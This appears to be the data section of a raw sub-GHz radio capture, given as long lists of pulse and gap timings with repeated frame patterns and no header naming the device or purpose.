1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -3002 3393 -3004 1795 -1398 1799 -1402 3393 -3804 421 -1492 221 -1726 1751 -3022 3331 -3148 3177 -3180 3185 -3194 3199 -3190 3393 -3002 3395 -3002 3393 -3002 3403 -2998 3405 -2998 3397 -2996 3393 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -3002 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3004 1799 -1402 3393 -3002 1801 -1396 3399 -1400 1801 -1400 1801 -2998 1805 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 3401 -3002 3395 -3006 3397 -2994 1801 -1402 3401 -2994 3801 -416 429 -2326 1741 -2894 3367 -2982 3385 -2992 3393 -3002 3401 -2994 3403 -2994 3401 -2994 3403 -3002 3405 -2998 3393 -2996 3401 -2994 3401 -3002 3395 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -3002 1801 -1400 3401 -2994 3403 -2998 1799 -1394 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 -RAW_Data: 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -3006 3397 -2996 1799 -1398 3389 -1402 1799 -7642 1653 -2952 3443 -3022 3413 -3014 3411 -3006 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3395 -2994 3401 -3002 3401 -2996 3401 -2994 3407 -1400 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3006 1801 -1392 1789 -1398 1801 -1400 3401 -3008 3405 -1396 1793 -2990 3403 -3006 1803 -1398 3389 -3002 3403 -2994 1799 -1402 3393 -3002 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -3004 3393 -3002 3401 -2994 3403 -3002 1795 -1394 4397 -596 1899 -1104 1803 -2886 3411 -3002 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2998 3405 -2994 3393 -3004 3393 -2994 3401 -3002 3403 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -3002 1801 -1398 3389 -3002 3401 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 3393 -3002 3401 -3004 3393 -3002 3393 -3002 3403 -3394 2509 -408 609 -1044 209 -420 1601 -3178 3319 -3096 3253 -3022 3419 -3014 3405 -3010 3403 -2996 3395 -2994 3401 -3002 3395 -2998 3405 -2994 3401 -3000 3397 -2994 3401 -1398 1791 -1398 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1396 3397 -3004 3401 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -3002 3403 -3002 3393 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 3397 -3002 3403 -2994 3401 -2994 3403 -1400 1795 -2992 4001 -212 211 -424 845 -2058 1877 -3244 3181 -3188 3389 -2994 3401 -2996 3401 -2994 3401 -2994 3403 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3407 -1400 1791 -2992 3401 -3002 1801 -1402 3401 -2994 3401 -1402 1799 -2996 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 3397 -3002 3403 -3006 3397 -2994 3401 -1402 1801 -1396 1791 -8006 2651 -1824 3861 -2834 3417 -3014 3407 -3002 3401 -3002 3401 -3002 3395 -3002 3393 -3002 3395 -3006 3405 -2994 3393 -3004 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -2994 1801 -1402 1799 -1398 1791 -1398 3401 -3004 3401 -1400 1801 -2998 3405 -2996 1795 -1394 3397 -3006 3405 -1398 1791 -3000 3401 -2994 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3407 -3004 3395 -3002 3393 -1402 1795 -2992 1799 -1402 1799 -1402 3401 -4546 1981 -2786 3481 -2908 3497 -2922 3337 -3160 3175 -3186 3389 -2994 3399 -2994 3393 -3002 3403 -3002 3393 -2994 3401 -2996 3401 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -2998 1801 -1402 1799 -1398 1797 -1400 3401 -3002 3403 -1400 1801 -2994 3401 -2994 1801 -1402 3401 -2994 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 3401 -3002 3395 -3006 3405 -1398 1789 -2990 1799 -1402 3401 -4586 587 -746 551 -1102 2019 -2888 3497 -2864 3439 -3018 3413 -3002 3401 -3002 3403 -2994 3401 -2998 3407 -2994 3393 -3002 3393 -3004 3401 -2998 3397 -2998 3407 -1396 1791 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3393 -1402 1799 -3004 3393 -3002 1795 -1398 3401 -3004 3405 -1400 1793 -1394 1791 -1398 1801 -3002 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 3403 -2994 3401 -3006 3399 -1396 1791 -2992 3401 -3002 3603 -400 201 -1420 877 -1100 1971 -3176 3319 -2904 3511 -3132 3147 -3168 3181 -3186 3395 -2994 3393 -3002 3393 -3004 3401 -3002 3393 -2994 3403 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3393 -1402 1795 -2998 3403 -3002 1795 -1394 -RAW_Data: 3397 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3395 -3002 3401 -3002 3393 -1402 1795 -2992 3401 -1400 1801 -5262 401 -2280 2005 -2706 3647 -2842 3423 -3010 3405 -3006 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3002 3403 -2998 3405 -2998 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 3395 -3006 1805 -1396 3389 -1402 1801 -3002 1795 -1394 1797 -1400 3401 -3004 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -3002 3407 -1404 1793 -1392 1793 -2998 1801 -1400 3603 -2686 1231 -664 1505 -3148 3313 -3126 3149 -3166 3175 -3190 3193 -3192 3393 -2994 3401 -2996 3401 -3006 3397 -2998 3399 -2994 3401 -2994 3403 -3002 3401 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3006 3397 -1402 1795 -2996 3405 -2998 1805 -1396 3391 -1400 1801 -2994 1801 -1400 3403 -2994 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3407 -3006 3393 -1396 1793 -1398 1799 -3002 3403 -3602 861 -1102 1545 -442 1983 -3002 3277 -3092 3513 -3124 3147 -3168 3173 -3194 3195 -3190 3393 -3002 3395 -3006 3397 -2994 3395 -3002 3401 -2998 3405 -3000 3397 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1398 3401 -3006 3393 -1402 1795 -2992 3401 -3002 1801 -1400 3395 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -3002 3403 -1396 1793 -1398 1799 -1402 1799 -3004 3593 -610 3645 -2950 3285 -3122 3311 -3116 3323 -3138 3163 -3174 3187 -3194 3397 -2996 3393 -2994 3401 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1795 -1394 3399 -1400 1801 -3002 3401 -2994 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -3002 3393 -2994 3403 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -4212 1599 -1486 1653 -3012 3347 -3168 3181 -3188 3389 -2994 3395 -2994 3401 -3002 3401 -2996 3393 -3002 3401 -3002 3395 -3002 3399 -3004 3393 -2996 3401 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3399 -1404 1795 -2996 3405 -2994 1801 -1396 3391 -1400 1801 -3002 3401 -2996 3401 -3006 1799 -1392 1789 -1398 1801 -1402 1799 -1402 -RAW_Data: 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -2994 3401 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 1801 -1402 4617 -3624 1617 -3122 3183 -3190 3389 -2994 3403 -2998 3405 -2994 3393 -3004 3393 -3006 3397 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1400 1801 -3002 3393 -3004 1795 -1394 3397 -1402 1799 -3002 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 3401 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1402 3401 -3200 601 -3982 1955 -2718 3687 -2842 3425 -3016 3405 -3006 3401 -3002 3403 -2994 3401 -3002 3393 -2996 3401 -3006 3397 -2998 3407 -2994 3393 -3006 3399 -1396 1791 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1400 3403 -2998 3405 -1398 1791 -2992 3401 -3006 1799 -1394 3391 -1400 1801 -3002 3401 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 -RAW_Data: 1799 -1402 1801 -1400 1801 -1400 1795 -1394 3399 -3002 3401 -1402 1795 -2998 1801 -1402 1799 -1398 3389 -3002 3603 -608 209 -3446 2219 -2994 3443 -3026 3417 -3002 3407 -3008 3399 -2998 3405 -2994 3395 -2998 3405 -2994 3395 -3002 3405 -2998 3393 -3002 3395 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -1396 1797 -2994 3401 -3002 1801 -1398 3393 -1406 1799 -1402 1795 -3000 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 3389 -3002 3403 -1400 1801 -3002 1795 -1394 1797 -1400 3403 -1400 1801 -5432 663 -1710 1925 -2726 3617 -3010 3419 -3006 3401 -3002 3401 -2998 3407 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -2994 3401 -3002 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -3002 1801 -1400 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1795 -2992 3401 -3002 1801 -1400 3401 -1398 1791 -1398 1801 -3002 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 1801 -1402 3393 -2994 1801 -1400 3603 -3858 2219 -3186 3253 -3036 3417 -3006 3405 -3002 3403 -2998 3405 -2994 3401 -2996 3401 -2998 3405 -2994 3395 -2994 3401 -3002 3395 -3002 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2998 1799 -1394 1797 -1402 1799 -1402 3401 -2998 3405 -1398 1791 -2992 3401 -3002 1801 -1400 3403 -1400 1795 -1396 1795 -3002 3403 -3002 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 3405 -3002 3397 -1398 1791 -2992 1801 -1400 3401 -3002 3395 -6072 1197 -792 1865 -2724 3513 -2896 3455 -3034 3419 -3002 3401 -3002 3401 -3004 3401 -2994 3401 -2998 3407 -2994 3401 -2994 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3401 -3000 3405 -1396 1793 -2990 3407 -3006 1795 -1394 3397 -1402 1799 -1402 1801 -3002 3393 -1400 1797 -2998 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 3401 -3004 3393 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 4189 -3552 1729 -2986 3429 -3022 3419 -3006 3393 -3002 3399 -3004 3395 -2994 3401 -3002 3395 -3002 3393 -3006 3397 -3000 3405 -2994 3401 -2994 3395 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 